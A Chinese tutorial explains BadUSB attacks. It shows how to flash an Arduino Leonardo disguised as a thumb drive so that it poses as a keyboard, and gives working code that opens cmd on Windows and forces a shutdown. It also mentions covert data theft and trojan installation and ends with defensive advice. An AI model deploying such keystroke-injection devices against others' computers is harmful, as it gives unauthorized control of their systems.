模拟键盘攻击——BadUSB制作

0x00 什么是BadUSB

BadUSB主要依靠USB拇指驱动器的构建方式,USB通常有一个大的可重写的内存芯片用于实际的数据存储,以及一个独立的控制器芯片。类似于笔记本电脑的硬盘驱动器包含一个隐藏的主引导记录(Master Boot Record),内存芯片中内存单元的第一段包含让USB记录的编程,也就是说他不是利用普通u盘的autorun.inf,不会被检测到,这样攻击者植入恶意软件就不会被发现。

0x01 USB协议漏洞

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

0x02 需要的工具

  • 一块Arduino leonardo开发板,选择他是因为板子体积小容易包装成一个普通的u盘,并且代码非常好书写。
  • Arduino ide,我们需要用它写代码并且烧录到badusb里面。
  • 外壳,将它包装的像一个普通u盘,不然这么块板子谁电脑会让你随便插,当然你也可以直接去淘宝购买已经包装好的badusb。

0x03 写入代码

我们通过keyboard.h库里面提供的方法模拟键盘输入。如果进攻对象是windows的话,首先win+r然后输入cmd,进入命令行,这个时候几乎可以做到所有事情。如果进攻对象是linux,一般是ctrl+alt+t的组合开启terminal然后再输入命令。无论是进入哪种,只要你预先写好代码,对目标计算机上的文件下载,上传,删除,运行······怎么做都可以。
这里我们给出一个windows下的无害代码,使得我们u盘插入后目标计算机十秒关机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(50);
Keyboard.press('r');//r键
delay(50);
Keyboard.release(KEY_LEFT_GUI);//这里松开按键
Keyboard.release('r');
delay(1000);
Keyboard.println("cmd \n"); //注意这里命令多了一个空格 如果目标终端的输入法是中文的话这个空格非常关键
delay(500);
Keyboard.println("shutdown -s -t 10 \n"); ; //注意有一个空格
delay(1000);//延时
}

void loop() {
// put your main code here, to run repeatedly:

}

然后我们接入开发板,选择好串口和板子型号,按ctrl+u烧录,之后就可以用它来测试了。
选择端口
选择型号

0x04 扩展

上面只提供了一个无害代码,有危害的恶意代码我不会在这里提供,但是我们应该意识到它的危害是巨大的,在针对性的编程下,可以不知不觉拷贝你电脑的任何数据,可以偷偷的下载木马病毒并且添加到启动项,控制你的通讯工具发送消息,甚至可以越过虚拟机进攻宿主机。
所以usb外设提供了太多很难防御的入侵方式,存放重要数据的电脑尽量避免与人共享usb外设。